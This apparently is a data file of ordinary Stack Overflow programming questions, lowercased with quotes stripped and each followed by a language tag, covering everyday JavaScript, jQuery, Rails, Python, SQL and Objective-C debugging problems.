how to add new set of values with property when json object already exist..using javascript  i already have json object..like this    <pre><code>updates={     mainupdates:[{id: 1   inner:[{mid: 11  sub_domain: a } {mid: 12  sub_domain: b }]}                   {id: 2   inner:[{mid: 21   sub_domain: c } {mid: 22  sub_domain: d }]}      ]      msgcount: 2  } </code></pre>   now i want add new values with its name(property) dynamically to the existing my json object. using javascrit... i want the exactly answer is look like   <pre><code>updates={     mainupdates:[{id: 1   inner:[{mid: 11  sub_domain: a } {mid: 12  sub_domain: b }]}                   {id: 2   inner:[{mid: 21  sub_domain: c } {mid: 22  sub_domain: d }]}                    {id: 3   inner:[{mid: 31  sub_domain: e } {mid: 22   sub_domain: f }]}      ]      msgcount: 3  } </code></pre>   how i do,javascript
ruby on rails - validate attribute with associated model attribute  i have two models:   <pre><code>class modela &lt; applicationrecord   has_many: :model_b end  class modelb &lt; applicationrecord   belongs_to: :model_a end </code></pre>   both models have <code>star_date</code> and <code>end_date</code>  i want to validate de <code>modelb</code> dates to be between the <code>modela</code> dates. something like this:   <pre><code>class modelb &lt; applicationrecord   belongs_to: :model_a   validates :start_date  after_date: modela.start_date end </code></pre>   i m new to rails  and i have no clue how to do it.    thanks!,ruby-on-rails
jquery - how to change the url without reloading  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/824349/modify-the-url-without-reloading-the-page >modify the url without reloading the page</a>    </blockquote>     is there a way for jquery to change the url without reloading     tried changing <code>window.location</code> and every time i change it  it automatically reloads the page.,jquery
why use underscores   the following example illustrates how you might implement a dealloc method for a person class:   <pre><code>@interface person : nsobject @property (retain) nsstring *firstname; @property (retain) nsstring *lastname; @property (assign  readonly) nsstring *fullname; @end  @implementation person // ... - (void)dealloc     [_firstname release];     [_lastname  release];     [super      dealloc]; } @end </code></pre>   the above is from apple documentation :  <a href= https://developer.apple.com/library/mac/#documentation/cocoa/conceptual/memorymgmt/articles/mmrules.html  rel= nofollow >memory management example</a>    my question is why there are underscores before firstname and lastname in dealloc,objective-c
python empty counter comparison  does anyone know why the following is <code>false</code> not <code>true</code>  isn t counters supposed to be similar to multisets  any references to docs welcome.   <pre><code>counter()==counter({ a : 0}) </code></pre>,python
sql update on same table and preventing duplicates  i am trying to update the values on a table which might have duplicates and i want to avoid those duplicates to avoid the errors:    <strong>table:</strong>   <pre><code>ticketid : userid   0      :   1   0      :   5   0      :   6   1      :   4   1      :   5 </code></pre>   what i am trying to do is update all the ticket id s <code>that = 0 </code> to the value of <code>1</code>. as you can see there is already a value of <code>1 : 5</code> which causes the conflict. i have tried <code>merge  insert into</code> with <code>where</code> and i can not get a query that ignores updating rows that will potentially exist.     after the update i would manually delete the remaining <code>0 : 5</code> since that would not of been updated  i thought merge could do that for me but i could not get that to work,sql
how to test private functions in jasmine  i want to test my private function which is being called in a public function  how can i get access to code inside private functions.   <pre><code>for example:  var privatefunction = function() {    this.flag = false; }  this.$oninit= function() {      this.flag = true;    privatefunction(); } </code></pre>   how can i test if the value of  flag  has been changed or not after the private function has been called   i am trying to spyon the privatefunction but its giving me method does not exist error.,angularjs
what is the logic or code to solve  the input will consist of an even number of lines of text. the input will be terminated by a blank line. suppose there are 2n lines of input. your program should print out the last n lines of the input  i.e.  the second half of the input  followed by the first n lines  i.e.  the first half of the input.    e.g.  if the input is the following:    our dear friend     let s eat    then the output should be:    let s eat    our dear friend,python
nomethoderror in contacts#new  i am following a tutorial from  coder manual  and am trying to create a contact form. it seems like i have everything in place but it will not work.     contacts_controller   <pre><code>class contactscontroller &lt; applicationcontroller   def new     @contact = contact.new   end    def create   end end   class createcontacts &lt; activerecord::migration   def change     create_table :contacts do |t|       t.string :name       t.string :email       t.text :comments       t.timestamps     end   end end </code></pre>   this is the <strong>new.html.erb</strong>   <pre><code>&lt;div class= row &gt;   &lt;div class= col-md-4 col-md-offset-4 &gt;     &lt;div class= well &gt;       &lt;%= form_for @contact do |f| %&gt;         &lt;div class= form-group &gt;           &lt;%= f.label :name %&gt;           &lt;%= f.text_field :name  class:  form-control  %&gt;         &lt;/div&gt;         &lt;div class= form-group &gt;           &lt;%= f.label :email %&gt;           &lt;%= f.email_field :email  class:  form-control  %&gt;         &lt;/div&gt;         &lt;div class= form-group &gt;           &lt;%= f.label :comments %&gt;           &lt;%= f.text_area :comments  class:  form-control  %&gt;         &lt;/div&gt;         &lt;%= f.submit  submit   class:  btn btn-default  %&gt;       &lt;% end %&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   i am getting the <code>nomethoderror in contacts#new</code>    stack trace   <pre><code>activemodel (4.1.0) lib/active_model/attribute_methods.rb:435:in `method_missing  activerecord (4.1.0) lib/active_record/attribute_methods.rb:206:in `method_missing  actionview (4.1.0) lib/action_view/helpers/tags/base.rb:28:in `value  actionview (4.1.0) lib/action_view/helpers/tags/base.rb:37:in `value_before_type_cast  actionview (4.1.0) lib/action_view/helpers/tags/text_field.rb:9:in `block in render  actionview (4.1.0) lib/action_view/helpers/tags/text_field.rb:9:in `fetch  actionview (4.1.0) lib/action_view/helpers/tags/text_field.rb:9:in `render  actionview (4.1.0) lib/action_view/helpers/form_helper.rb:771:in `text_field  actionview (4.1.0) lib/action_view/helpers/form_helper.rb:1258:in `text_field  app/views/contacts/new.html.erb:4:in `block in _app_views_contacts_new_html_erb__916588012054069058_69974500316060  actionview (4.1.0) lib/action_view/helpers/capture_helper.rb:38:in `block in capture  actionview (4.1.0) lib/action_view/helpers/capture_helper.rb:200:in `with_output_buffer  actionview (4.1.0) lib/action_view/helpers/capture_helper.rb:38:in `capture  actionview (4.1.0) lib/action_view/helpers/form_helper.rb:434:in `form_for  app/views/contacts/new.html.erb:2:in `_app_views_contacts_new_html_erb__916588012054069058_69974500316060  actionview (4.1.0) lib/action_view/template.rb:145:in `block in render  activesupport (4.1.0) lib/active_support/notifications.rb:161:in `instrument  actionview (4.1.0) lib/action_view/template.rb:339:in `instrument  actionview (4.1.0) lib/action_view/template.rb:143:in `render  actionview (4.1.0) lib/action_view/renderer/template_renderer.rb:55:in `block (2 levels) in render_template  actionview (4.1.0) lib/action_view/renderer/abstract_renderer.rb:38:in `block in instrument  activesupport (4.1.0) lib/active_support/notifications.rb:159:in `block in instrument  activesupport (4.1.0) lib/active_support/notifications/instrumenter.rb:20:in `instrument  activesupport (4.1.0) lib/active_support/notifications.rb:159:in `instrument  actionview (4.1.0) lib/action_view/renderer/abstract_renderer.rb:38:in `instrument  actionview (4.1.0) lib/action_view/renderer/template_renderer.rb:54:in `block in render_template  actionview (4.1.0) lib/action_view/renderer/template_renderer.rb:62:in `render_with_layout  actionview (4.1.0) lib/action_view/renderer/template_renderer.rb:53:in `render_template  actionview (4.1.0) lib/action_view/renderer/template_renderer.rb:17:in `render  actionview (4.1.0) lib/action_view/renderer/renderer.rb:42:in `render_template  actionview (4.1.0) lib/action_view/renderer/renderer.rb:23:in `render  actionview (4.1.0) lib/action_view/rendering.rb:99:in `_render_template  actionpack (4.1.0) lib/action_controller/metal/streaming.rb:217:in `_render_template  actionview (4.1.0) lib/action_view/rendering.rb:82:in `render_to_body  actionpack (4.1.0) lib/action_controller/metal/rendering.rb:32:in `render_to_body  actionpack (4.1.0) lib/action_controller/metal/renderers.rb:32:in `render_to_body  actionpack (4.1.0) lib/abstract_controller/rendering.rb:25:in `render  actionpack (4.1.0) lib/action_controller/metal/rendering.rb:16:in `render  actionpack (4.1.0) lib/action_controller/metal/instrumentation.rb:41:in `block (2 levels) in render  activesupport (4.1.0) lib/active_support/core_ext/benchmark.rb:12:in `block in ms  /home/action/.parts/packages/ruby2.1/2.1.1/lib/ruby/2.1.0/benchmark.rb:294:in `realtime  activesupport (4.1.0) lib/active_support/core_ext/benchmark.rb:12:in `ms  actionpack (4.1.0) lib/action_controller/metal/instrumentation.rb:41:in `block in render  actionpack (4.1.0) lib/action_controller/metal/instrumentation.rb:84:in `cleanup_view_runtime  activerecord (4.1.0) lib/active_record/railties/controller_runtime.rb:25:in `cleanup_view_runtime  actionpack (4.1.0) lib/action_controller/metal/instrumentation.rb:40:in `render  actionpack (4.1.0) lib/action_controller/metal/implicit_render.rb:10:in `default_render  actionpack (4.1.0) lib/action_controller/metal/implicit_render.rb:5:in `send_action  actionpack (4.1.0) lib/abstract_controller/base.rb:189:in `process_action  actionpack (4.1.0) lib/action_controller/metal/rendering.rb:10:in `process_action  actionpack (4.1.0) lib/abstract_controller/callbacks.rb:20:in `block in process_action  activesupport (4.1.0) lib/active_support/callbacks.rb:113:in `call  activesupport (4.1.0) lib/active_support/callbacks.rb:113:in `call  activesupport (4.1.0) lib/active_support/callbacks.rb:229:in `block in halting  activesupport (4.1.0) lib/active_support/callbacks.rb:229:in `call  activesupport (4.1.0) lib/active_support/callbacks.rb:229:in `block in halting  activesupport (4.1.0) lib/active_support/callbacks.rb:166:in `call  activesupport (4.1.0) lib/active_support/callbacks.rb:166:in `block in halting  activesupport (4.1.0) lib/active_support/callbacks.rb:166:in `call  activesupport (4.1.0) lib/active_support/callbacks.rb:166:in `block in halting  activesupport (4.1.0) lib/active_support/callbacks.rb:166:in `call  activesupport (4.1.0) lib/active_support/callbacks.rb:166:in `block in halting  activesupport (4.1.0) lib/active_support/callbacks.rb:86:in `call  activesupport (4.1.0) lib/active_support/callbacks.rb:86:in `run_callbacks  actionpack (4.1.0) lib/abstract_controller/callbacks.rb:19:in `process_action  actionpack (4.1.0) lib/action_controller/metal/rescue.rb:29:in `process_action  actionpack (4.1.0) lib/action_controller/metal/instrumentation.rb:31:in `block in process_action  activesupport (4.1.0) lib/active_support/notifications.rb:159:in `block in instrument  activesupport (4.1.0) lib/active_support/notifications/instrumenter.rb:20:in `instrument  activesupport (4.1.0) lib/active_support/notifications.rb:159:in `instrument  actionpack (4.1.0) lib/action_controller/metal/instrumentation.rb:30:in `process_action  actionpack (4.1.0) lib/action_controller/metal/params_wrapper.rb:250:in `process_action  activerecord (4.1.0) lib/active_record/railties/controller_runtime.rb:18:in `process_action  actionpack (4.1.0) lib/abstract_controller/base.rb:136:in `process  actionview (4.1.0) lib/action_view/rendering.rb:30:in `process  actionpack (4.1.0) lib/action_controller/metal.rb:195:in `dispatch  actionpack (4.1.0) lib/action_controller/metal/rack_delegation.rb:13:in `dispatch  actionpack (4.1.0) lib/action_controller/metal.rb:231:in `block in action  actionpack (4.1.0) lib/action_dispatch/routing/route_set.rb:80:in `call  actionpack (4.1.0) lib/action_dispatch/routing/route_set.rb:80:in `dispatch  actionpack (4.1.0) lib/action_dispatch/routing/route_set.rb:48:in `call  actionpack (4.1.0) lib/action_dispatch/journey/router.rb:71:in `block in call  actionpack (4.1.0) lib/action_dispatch/journey/router.rb:59:in `each  actionpack (4.1.0) lib/action_dispatch/journey/router.rb:59:in `call  actionpack (4.1.0) lib/action_dispatch/routing/route_set.rb:676:in `call  rack (1.5.5) lib/rack/etag.rb:23:in `call  rack (1.5.5) lib/rack/conditionalget.rb:25:in `call  rack (1.5.5) lib/rack/head.rb:11:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/params_parser.rb:27:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/flash.rb:254:in `call  rack (1.5.5) lib/rack/session/abstract/id.rb:225:in `context  rack (1.5.5) lib/rack/session/abstract/id.rb:220:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/cookies.rb:560:in `call  activerecord (4.1.0) lib/active_record/query_cache.rb:36:in `call  activerecord (4.1.0) lib/active_record/connection_adapters/abstract/connection_pool.rb:621:in `call  activerecord (4.1.0) lib/active_record/migration.rb:380:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/callbacks.rb:29:in `block in call  activesupport (4.1.0) lib/active_support/callbacks.rb:82:in `run_callbacks  actionpack (4.1.0) lib/action_dispatch/middleware/callbacks.rb:27:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/reloader.rb:73:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/remote_ip.rb:76:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/debug_exceptions.rb:17:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/show_exceptions.rb:30:in `call  railties (4.1.0) lib/rails/rack/logger.rb:38:in `call_app  railties (4.1.0) lib/rails/rack/logger.rb:20:in `block in call  activesupport (4.1.0) lib/active_support/tagged_logging.rb:68:in `block in tagged  activesupport (4.1.0) lib/active_support/tagged_logging.rb:26:in `tagged  activesupport (4.1.0) lib/active_support/tagged_logging.rb:68:in `tagged  railties (4.1.0) lib/rails/rack/logger.rb:20:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/request_id.rb:21:in `call  rack (1.5.5) lib/rack/methodoverride.rb:21:in `call  rack (1.5.5) lib/rack/runtime.rb:17:in `call  activesupport (4.1.0) lib/active_support/cache/strategy/local_cache_middleware.rb:26:in `call  rack (1.5.5) lib/rack/lock.rb:17:in `call  actionpack (4.1.0) lib/action_dispatch/middleware/static.rb:64:in `call  rack (1.5.5) lib/rack/sendfile.rb:112:in `call  railties (4.1.0) lib/rails/engine.rb:514:in `call  railties (4.1.0) lib/rails/application.rb:144:in `call  rack (1.5.5) lib/rack/lock.rb:17:in `call  rack (1.5.5) lib/rack/content_length.rb:14:in `call  rack (1.5.5) lib/rack/handler/webrick.rb:60:in `service  /home/action/.parts/packages/ruby2.1/2.1.1/lib/ruby/2.1.0/webrick/httpserver.rb:138:in `service  /home/action/.parts/packages/ruby2.1/2.1.1/lib/ruby/2.1.0/webrick/httpserver.rb:94:in `run  /home/action/.parts/packages/ruby2.1/2.1.1/lib/ruby/2.1.0/webrick/server.rb:295:in `block in start_thread  </code></pre>,ruby-on-rails
displaying country list with jquery  i got following results via ajax call:   <pre><code>{ results :[ usa   brazil ]} </code></pre>   i want to display country list as links like below example    <img src= https://i.stack.imgur.com/wcyfl.jpg  alt= enter image description here >    could you please check what is wrong with my jquery code:   <pre><code>var item = $( &lt;div&gt; );                $.each(country.results  function(i  res) {                  var country_name = $( &lt;a href&gt; );                    country_name.html(res.results[]);  // i think this line is not correct                              item.append(country_name);             });   $( #country_list ).html(item);  </code></pre>,jquery
replacing a char in a string is not working for me  i have <code>nsstring chars</code>   which i build in some way   than i have to replace a char of it   so i do it with this :   <pre><code>[chars stringbyreplacingoccurrencesofstring:[self convertdecimaltochar:num] withstring:[self convertdecimaltochar:num+1]]; </code></pre>   if i print  :   <pre><code>nslog(@ char:%@ and look for:%@ replace with:%@  chars [self convertdecimaltochar:num] [self convertdecimaltochar:num+1]); </code></pre>   i can see :<code>u u v</code>    so he has to replace u with v   but it still u ..    wht could i miss here   thanks .,objective-c
how to add individual elements in an array  i am trying to add individual integers to a certain array my array is in this form <code>array= number +1</code> how can i make lets say number be a <code>array = 2 +3 +1</code> where 2 and 3 are two different distinct obhects that should be commutatively added. i hope i am clear. i dont want the numbers to be added so that the aboce equations would equal 0. i want it to be equal to 2 then 3 then 1....,iphone
jquery prevent specific characters using inarray  this is the code i m using:   <pre><code>$( input ).keypress(function(e){     illkey = [ 40    41    123    125    91    93 ];     ech = e.charcode;      if ($.inarray(ech  illkey) &gt; -1){         tps = this.value + string.fromcharcode(e.which);         alert(tps+  is not allowed! );         e.preventdefault();     } }); </code></pre>   i am trying to prevent users from entering some specific characters in text or password inputs and alert them when they do so. the problem with the code above is that it does nothing nor is it giving me any errors. what am i missing,jquery
can i add a number to range of elements in numper array without loops c++  i want to add a certain constant value to range of elements in an array without iterating over them   can i do that      example:   <pre><code>int arr[5] = {1  2  3  4  5}; add_certain_val(arr  0  4  2); // now arr == {3  4  5  6  7}; </code></pre>,c++
resource strings in .net  i have few .net dll s and each dll has a resource.resx file which stores some exception messages used in the project.    my question is whether it is good to have resource file in the dll itself or just have a single dll which stores the resource strings required for all the dlls of the project.    what are the adv/disadv of both the practice.    thanks  latha,.net
rails remove user during set date to date  i want to send a user off to  vacation . i want him to dissapear from my list when the start date is and come back on the end date.    i wrote this in my model but it doesn t behave. anything that comes after  vacation  stops working. ( the arrows may be incorrect  but it s not what s causing the error )   <pre><code>def self.vacation   if     where( vacation_start &gt;=     time.now.strftime( %y-%m-%d ))   else     where( vacation_end &lt;=     time.now.strftime( %y-%m-%d ))   end end </code></pre>   i.e <code>@posts = post.all.vacation.</code> in this instance  each stops working and it gets a  <code>undefined method  each  for nil:nilclass</code>    do i have incorrect syntax or something that makes this error or am i just barking up the wrong tree with this     edit: as athar mentioned  it may have been incorrectly written. as far as i understand  this should be correct   <pre><code>def self.vacation(vacation)   if vacation     where( vacation_start &lt;=     time.now.strftime( %y-%m-%d ))   else     all   end </code></pre>   end    but then i get  wrong number of arguments (0 for 1)     edit 2:    trying to simplify what i m asking for.    i want to do @posts = post.where( vacation_start &lt;=     time.now.strftime( %y-%m-%d )). when it returns true  it displays the posts that it concerns. that works as intended  but what i want is when it returns false. i then want him to check against the vacation_end instead (i.e my other where statement)    solution:   <pre><code>def self.vacation   posts = self.where( vacation_start &gt;     time.now.strftime( %y-%m-%d ))   return posts if posts.length &gt; 0   return self.where( vacation_end &lt;     time.now.strftime( %y-%m-%d )) end </code></pre>   using  athar s solution  but removed the  =  signs to get my desired effect.    thanks everyone!    edit: came up with a better solution.   <pre><code>.where.not( vacation_start &lt;=   and vacation_end &gt;=     time.now  time.now) </code></pre>   the previous solution didn t seem to work fully under heavy testing.,ruby-on-rails
how to make outputed html source compact in asp.net  visited <a href= http://www.12titans.net/p/s/register.aspx  rel= nofollow >http://www.12titans.net/p/s/register.aspx</a>      right click view source on the page .i found the html source so compact have no blank. how to do like this in asp.net   i am use ie8  tks in advance! sorry for my bad english!,asp.net
how to check the first 2 characters ( case-insensitive ) in php   i have a search input box.    <img src= https://i.stack.imgur.com/2dr5w.png  alt= enter image description here >    i already check for the first 2 characters.    <code>$first_two = substr($search 0 2);</code>    they need to start with <strong>bs</strong>  so i check them like this :    <pre><code>if ($search and $first_two ==  bs  ){  // ... do stuffs } </code></pre>   after that  i just realize that i don t want to have any restriction on them.    i want my first two character is <strong>case-insensitive</strong>.     i want to allow <code>bs</code>  <code>bs</code>  <code>bs</code> and <code>bs</code>.    what do i need to fix in my <code>if ( )</code> to allow these to happens,php
html pre tag is not displaying full line  i am using <code>&lt;pre&gt;</code> tag in my html page but it not displaying the full line. what i wanted to display is the hwole two below lines:     <pre>     hello wish you all the best. this is just a testing of multiline as it is cutting the print work order.multi formatting within email notifications and work order comments/notes     end line. last comment.     </pre>    but it is only displaying   <pre><code> &lt;pre&gt;     hello wish you all the best. this is just a testing of multiline as      end line. last comment.     &lt;/pre&gt; </code></pre>   does the pre tag has fixed widht or something  any suggestions will be welcomed.,html
profile provisioning error when deploying to device in release mode  when i build and deploy to my device in debug mode  everything works fine. but when i switch to release mode i get an error:   <blockquote>    code sign error: provisioning profile    can t be found  </blockquote>   and indeed  i have no idea where or why xcode is looking for this profile. based on what i have read it seems i have to delete all profiles and create a new one just for a release build.    what am i doing wrong here,iphone
checking for formdata key and value in console  i wanna bring formdata to console to check key and value.   <pre><code>var f = new formdata(); f.append( key1    value1 );  console.log(f);  f = new formdata();   console.log(f); // i wanna know: does f keep the key `key1` and value `value1`  </code></pre>   when i check in console  nowhere i can see the key and the value.    can you give me some tip,javascript
jquery click handler for radio button doesnt work properly  if i try to click from top to bottom the radio buttons work nice  but once this cycle is complete they don t get affected.      i m using the on click on the outer div and then selecting the inner elements via find.     i ve provided the code below.     i ve updated the code below.  the radio buttons works  but i want the link to be clicked automatically ( it shoudld expand when we click the green panel-heading  class element.    <pre><code> &lt;!doctype html&gt; &lt;html&gt;  &lt;head&gt;      &lt;script src= http://code.jquery.com/jquery-1.11.3.js &gt;&lt;/script&gt;     &lt;link href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css  rel= stylesheet  type= text/css  /&gt;     &lt;script src= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js &gt;&lt;/script&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;plan selection&lt;/title&gt;      &lt;meta name= description  content=  &gt;     &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;        &lt;style&gt;     @font-face {         font-family: myfirstfont;         src: url(styles/2bf294_d_0.woff);     }      .heading {         font-family: morebirounded-regular;         font-size: 30px;     }     .green-bk{         background-color: #06a94e !important;     }     .container {         margin-top: 40px;     }      .plan-info {         font-family: arial;         font-size: 16px;         display: inline;         float: right;     }     .continue{       margin-top: 30px;        width:100%;       color: white;        background-color: #06a94e;       border: 0;       text-overflow: ellipsis;       border-radius: 23px;       font-family: morebirounded-regular;       height: 40px;       font-size: 18px;      }     .continue:hover       {         color: #fff;         background-image:none;         background-color:#06a94e;     }      .continue:active       {         color: #fff;         background-image:none;         background-color:#06a94e;     }       .hidd-td{         visibility: hidden;     }     .grey-panel{         background-color: #ccc;        }      .green-panel{         background-color: #06a94e;     }     .first-td{         border-top: none !important;      }     .mori{         font-family: morebirounded-regular;     }       .subsection{         font-family: morebirounded-regular;         font-size: 16px;         text-align: center;         color: white;      }       .black-subsection{                font-family: morebirounded-regular;         font-size: 16px;         text-align: center;         /*color: white;  */     }  .grey-wrapper{     /*background-color: red;*/     height:auto;     margin-bottom: 50px;  }  .push-radio{     margin-right: 10px !important; }   /*mobile classes*/       .mo-heading {         font-family: morebirounded-regular;         font-size: 30px;     }        .plan-info {         font-family: arial;         font-size: 16px;         display: inline;         float: right;     }       .mo-continue{         color: white;         width:100%;         background-color: grey;         padding:13px;          /*font-family: morebirounded-regular;*/         font-size: 22px;              }     .mo-continue:hover       {         color: white;         background-image:none;         background-color: grey;     }      .mo-continue:visited       {         color: white;         background-image:none;         background-color: grey;     }       .mo-continue:active       {         color: white;         background-image:none;         background-color: grey;     }          .mo-push-radio{         /*margin-right: 1px !important;*/      }           #div_1 {     box-sizing: border-box;     color: rgb(51  51  51);     height: 43px;     text-align: center;     width: 1583px;     perspective-origin: 791.5px 21.5px;     transform-origin: 791.5px 21.5px;     border: 0px none rgb(51  51  51);     font: normal normal normal normal 17px/normal morebirounded-regular  arial;     outline: rgb(51  51  51) none 0px;     padding: 10px 0px; }/*#div_1*/  #span_2 {     background-position: 0px 50%;     box-sizing: border-box;     color: rgb(6  169  78);     cursor: pointer;     display: block;     height: 21px;     left: 15px;     position: absolute;     text-align: center;     top: 10px;     width: 60.734375px;     z-index: 1010;     align-self: stretch;     perspective-origin: 30.359375px 10.5px;     transform-origin: 30.359375px 10.5px;     background: rgba(0  0  0  0) url(https://arlodev.netgear.com/img2/title_back_1.png) no-repeat scroll 0px 50% / auto padding-box border-box;     border: 0px none rgb(6  169  78);     font: normal normal normal normal 17px/normal morebirounded-regular  arial;     outline: rgb(6  169  78) none 0px;     padding: 0px 0px 0px 20px; }/*#span_2*/  #span_3 {     box-sizing: border-box;     color: rgb(51  51  51);     text-align: center;     border: 0px none rgb(51  51  51);     font: normal normal bold normal 18px/normal morebirounded-regular  arial;     outline: rgb(51  51  51) none 0px;     top:-5px; }/*#span_3*/     .setup-progress {     height: 8px;     background-color: #06a94e; }  .setup-wrap {     top: 60px;     overflow-y: auto;     position: absolute;     width: 100%;     bottom: 0;     background-color: #f8f8f8; }  .change-subs{     margin-top:10px;     font-family: morebirounded-regular;  }  .dark-green{     background-color: green;  }  .dark-grey{     background-color: grey !important;  }       &lt;/style&gt;  &lt;/head&gt;  &lt;body&gt;       &lt;div class= row &gt; &lt;div class= col-md-12 &gt;  &lt;h3 class= change-subs text-center &gt; change subscription&lt;/h3&gt; &lt;/div&gt; &lt;/div&gt;    &lt;div id= div_1 &gt;     &lt;span id= span_2 &gt;back     &lt;/span&gt;   &lt;!--     &lt;span id= span_3 &gt;      &lt;h3 class= change-subs &gt; 2change subscription&lt;/h3&gt;     &lt;/span&gt;  --&gt; &lt;/div&gt;      &lt;!-- mobile starts  --&gt;     &lt;div class= container &gt;         &lt;div class= row &gt;             &lt;div class= col-sm-12 col-md-12 &gt;                  &lt;div class= panel-group  id= accordion &gt;                     &lt;div class= panel panel-default &gt;                         &lt;div class= panel-heading green-bk &gt;                             &lt;h4 class= panel-title mo-heading &gt;  &lt;input class= mo-push-radio  type= radio  name= plan-mobile &gt;                                                   &lt;a class= mo-planlink   data-toggle= collapse  data-parent= #accordion  href= #collapseone &gt;                             elite&lt;/a&gt;                             &lt;div class= plan-info &gt;14.99/mo | 149.99/yr &lt;/div&gt;                         &lt;/h4&gt;                         &lt;/div&gt;                         &lt;div id= collapseone  class= panel-collapse collapse in &gt;                             &lt;div class= panel-body &gt;                                 &lt;table class= table &gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             60 days of cloud recording                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             up to 15 cameras                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             unlimited support                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             available add-ons:                                          &lt;/td&gt;                                     &lt;/tr&gt;                                 &lt;/table&gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                     &lt;div class= panel panel-default &gt;                         &lt;div class= panel-heading green-bk &gt;                             &lt;h4 class= panel-title mo-heading &gt; &lt;input class= mo-push-radio  type= radio  name= plan-mobile &gt;                                                                               &lt;a class= mo-planlink  data-toggle= collapse  data-parent= #accordion  href= #collapsetwo &gt;premier&lt;/a&gt;                             &lt;div class= plan-info &gt;14.99/mo | 149.99/yr &lt;/div&gt;                                      &lt;/h4&gt;                         &lt;/div&gt;                         &lt;div id= collapsetwo  class= panel-collapse collapse &gt;                             &lt;div class= panel-body &gt;                                 &lt;table class= table &gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             60 days of cloud recording                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             up to 15 cameras                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             unlimited support                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             $14 99 / mo                                         &lt;/td&gt;                                     &lt;/tr&gt;                                 &lt;/table&gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                     &lt;div class= panel panel-default &gt;                         &lt;div class= panel-heading green-bk &gt;                             &lt;h4 class= panel-title mo-heading &gt; &lt;input class= mo-push-radio  type= radio  name= plan-mobile &gt;                                                                               &lt;a class= mo-planlink  data-toggle= collapse  data-parent= #accordion  href= #collapsethree &gt;basic&lt;/a&gt;                           &lt;div class= plan-info &gt;free &lt;/div&gt;                                                       &lt;/h4&gt;                         &lt;/div&gt;                         &lt;div id= collapsethree  class= panel-collapse collapse &gt;                             &lt;div class= panel-body &gt;                                 &lt;table class= table &gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             60 days of cloud recording                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             up to 15 cameras                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             unlimited support                                         &lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;                                             $14 99 / mo                                         &lt;/td&gt;                                     &lt;/tr&gt;                                 &lt;/table&gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;button type= submit  class= btn mo-continue &gt; continue&lt;/button&gt;             &lt;/div&gt;          &lt;/div&gt;  &lt;/div&gt;  &lt;!-- mobile ends --&gt;  &lt;script&gt; $(document).ready(function  () {  // mobile  $( .mo-planlink ).on(  click   function() {   console.log(   plan link clicked    this );      var nearestradio = $(this).parent().find( input );       console.log(  nearest radio =    nearestradio);     nearestradio.attr( checked    checked );  });      $( .mo-push-radio ).on(  click   function() {   console.log(   plan link clicked    this );      nearestradio = $(this).next().click();      console.log(  nearest radio =    nearestradio);     nearestradio.attr( checked    checked );      // nearestradio.parents().eq(2).addclass( dark-grey );      var near =   nearestradio.parents().eq(2).children();    console.log(  near ---&gt; =    near );      // near.addclass( dark-grey );         if( nearestradio.is( :checked ) ){       nearestradio.attr( checked   false); }else{       nearestradio.attr( checked   true); }     });     $( .panel-heading ).on(  click   function(e) {     var self =  this;        // grab the nearest list and click it.        $( .panel-heading ).removeclass( dark-grey );       $(this).addclass( dark-grey );     var $radios = $( input[type= radio ][name= plan-mobile ] )     console.log( $radios   $radios);      $radios.prop( checked   false);      current_el = $(this).find(  input  );      console.log( current_el =   current_el);         current_el.prop( checked   true);        var $links = $( a );       console.log( $$links   $links);       current_a = $(this).find(  a  );      console.log( current_a =   current_a);      // current_a.click();      // e.preventdefault();  });      // desktop  $( .push-radio ).on(  click   function() {   console.log(   desk - plan link clicked    this );     var  nearestsquare = $(this);     $( .push-radio ).parents().removeclass(  dark-green  );     nearestsquare.parents().eq(5).addclass(  dark-green  );   });           })  &lt;/script&gt;    &lt;/body&gt; &lt;/html&gt; </code></pre>,jquery
